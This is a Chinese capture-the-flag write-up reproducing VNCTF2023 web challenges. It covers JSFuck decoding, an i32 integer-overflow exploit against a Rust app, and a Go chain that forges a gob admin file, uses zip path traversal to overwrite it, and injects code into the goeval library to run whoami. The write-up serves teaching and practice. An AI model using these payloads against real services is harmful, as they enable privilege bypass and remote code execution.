VNCTF2023部分Web题目复现

Web

象棋王子

查找Js文件,在某处发现了Jsfuck代码:


直接运行即可:

VNCTF2023部分Web题目复现_第1张图片

电子木鱼

查看源代码,发现触发获得flag的逻辑:

		if GONGDE.get() > 1_000_000_000 {
        context.insert(
            "flag",
            &std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
        );
    }

GONGDE变量值大于1000000000时,能够得到flag。

代码给出了/upgrade路由,可以通过namequantity参数来控制业务逻辑。

const PAYLOADS: &[Payload] = &[
    Payload {
        name: "Cost",
        cost: 10,
    },
    Payload {
        name: "Loan",
        cost: -1_000,
    },
    Payload {
        name: "CCCCCost",
        cost: 500,
    },
    Payload {
        name: "Donate",
        cost: 1,
    },
    Payload {
        name: "Sleep",
        cost: 0,
    },
];

其中核心业务逻辑如下:

        if payload.name == "Donate" || payload.name == "Cost" {
            cost *= body.quantity;
        }
        
        if GONGDE.get() < cost as i32 {
            return web::Json(APIResult {
                success: false,
                message: "功德不足",
            });
        }

        if cost != 0 {
            GONGDE.set(GONGDE.get() - cost as i32);
        }

cost 变量已经在代码中定义,和 quantity 变量相乘后,重新赋值。而 quantity 变量则由用户传入。

但是代码中校验了 quantity 变量不能小于0,因此无法通过传入负数,通过两个负数相乘来使得GONGDE增加。

但发现 cost 的类型为 i32,存在整数溢出的问题。

int32的数值取值范围为 -21474836482147483647

因此构造如下Payload:

VNCTF2023部分Web题目复现_第2张图片发现GONGDE增长了10,再将 quantity 修改小一点

VNCTF2023部分Web题目复现_第3张图片

得到flag

在这里插入图片描述

BabyGo

打开题目:

VNCTF2023部分Web题目复现_第4张图片

阅读源码,发现根路由创建了每个用户专属的目录,并生成了用户的身份验证文件user.gob
此处注意生成的逻辑,是对user字符串进行了Gob序列化,将序列化后的内容写进了user.gob文件。

	r.GET("/", func(c *gin.Context) {
		userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
		session := sessions.Default(c)
		session.Set("shallow", userDir)
		session.Save()
		fileutil.CreateDir(userDir)
		gobFile, _ := os.Create(userDir + "user.gob")
		user := User{Name: "ctfer", Path: userDir, Power: "low"}
		encoder := gob.NewEncoder(gobFile)
		encoder.Encode(user)
		if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
			c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
			return
		}
		c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
	})

注意到源码给出了后门方法,校验了用户的身份验证文件user.gob中用户权限是否为admin,如果是的话才进入到命令执行的逻辑分支。

这里先考虑如何修改用户权限,命令执行的具体方法见后文。

	r.GET("/backdoor", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userDir := session.Get("shallow").(string)
		if fileutil.IsExist(userDir + "user.gob") {
			file, _ := os.Open(userDir + "user.gob")
			decoder := gob.NewDecoder(file)
			var ctfer User
			decoder.Decode(&ctfer)
			if ctfer.Power == "admin" {
				eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
				if err != nil {
					fmt.Println(err)
				}
				c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
				return
			} else {
				c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
				return
			}
		} else {
			c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
			return
		}
	})

继续看源码,发现了存在上传功能。文件路径使用字符串拼接,因此可以考虑目录穿越去绕过,穿越到上层路径。但是代码对上传文件的扩展名做了限制,禁止上传.go.gob文件,我们无法直接上传覆盖用户的身份文件。

	r.POST("/upload", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		fileutil.CreateDir(userUploadDir)
		file, err := c.FormFile("file")
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
			return
		}
		ext := file.Filename[strings.LastIndex(file.Filename, "."):]
		if ext == ".gob" || ext == ".go" {
			c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
			return
		}
		filename := userUploadDir + file.Filename
		if fileutil.IsExist(filename) {
			fileutil.RemoveFile(filename)
		}
		err = c.SaveUploadedFile(file, filename)
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
			return
		}
		c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
	})

好在源码中提供了一个解压的方法,解压目录依然使用字符串拼接,因此同样考虑目录穿越。

	r.GET("/unzip", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		files, _ := fileutil.ListFileNames(userUploadDir)
		destPath := filepath.Clean(userUploadDir + c.Query("path"))
		for _, file := range files {
			if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
				err := fileutil.UnZip(userUploadDir+file, destPath)
				if err != nil {
					c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
					return
				}
				fileutil.RemoveFile(userUploadDir + file)
			}
		}
		c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
	})

综上,我们可以通过Gob序列化构造身份为admin的权限验证文件,再打包成压缩包上传至服务器,再通过目录穿越解压到根目录去覆盖原有的权限文件即可。

构造权限文件代码如下:

package main

import (
	"encoding/gob"
	"os"
)

type User struct {
	Name  string
	Path  string
	Power string
}

func main() {
	userDir := "/tmp/xxxxx/"
	gobFile, _ := os.Create("user.gob")
	user := User{Name: "ctfer", Path: userDir, Power: "admin"}
	encoder := gob.NewEncoder(gobFile)
	encoder.Encode(user)
}

打包为zip文件并上传:

VNCTF2023部分Web题目复现_第5张图片

此时访问后门函数显示权限不足:

VNCTF2023部分Web题目复现_第6张图片

调用解压方法,并且使用path参数穿越到根目录:

VNCTF2023部分Web题目复现_第7张图片

此时访问后门函数,已通过权限校验:

VNCTF2023部分Web题目复现_第8张图片

命令执行的方法参考Goeval代码注入导致远程代码执行(2022虎符Final)。

看一下后门方法中触发漏洞的代码:

eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))

DefaultQuery用来给请求参数赋默认值,如果不传参数pkg,那么将使用默认值fmt

这里调用了第三方模块goeval:https://github.com/PaulXu-cn/goeval

分析一下goeval的源码,可见是代码的拼接生成文件然后运行:

VNCTF2023部分Web题目复现_第9张图片

因此我们可以通过控制参数pkg,注入一个"),构造import代码块的闭合。但是程序后面原本的")还在,我们声明一个变量var a=("1,来构造注入,闭合掉后面的括号。

这里还需要用%0a来绕过空格,因为空格是会被当做多个依赖包进行拆分的,导致语法错误,详情请见goeval源码。

我们尽管可以注入代码,但是程序仍然执行main函数,而main函数我们无法修改,导致没法执行其他的代码。

但是在go语言中有一个特殊的init()函数,他在main()之前自动执行,所以通过init()实现任意代码执行。

Payload如下:

GET /backdoor?pkg=fmt%22)%0afunc%0ainit(){fmt.Println("123")}%0avar%0a(a%3d%221 HTTP/1.1

VNCTF2023部分Web题目复现_第10张图片

Go语言进行命令执行的方法有:

cmd := exec.Command("whoami")
out, _ := cmd.CombinedOutput()
fmt.Println(string(out))

out, _ := exec.Command("whoami").Output()
fmt.Printf(out)

Payload如下:

GET /backdoor?pkg=%22os%2fexec%22%0a%20fmt%22)%0afunc%0ainit()%7bout%2c_%3a%3dexec.Command(%22whoami%22).Output()%0afmt.Printf(string(out))%7d%0avar%0a(a%3d%221 HTTP/1.1

VNCTF2023部分Web题目复现_第11张图片

你可能感兴趣的:(ruby,web安全,网络安全,golang)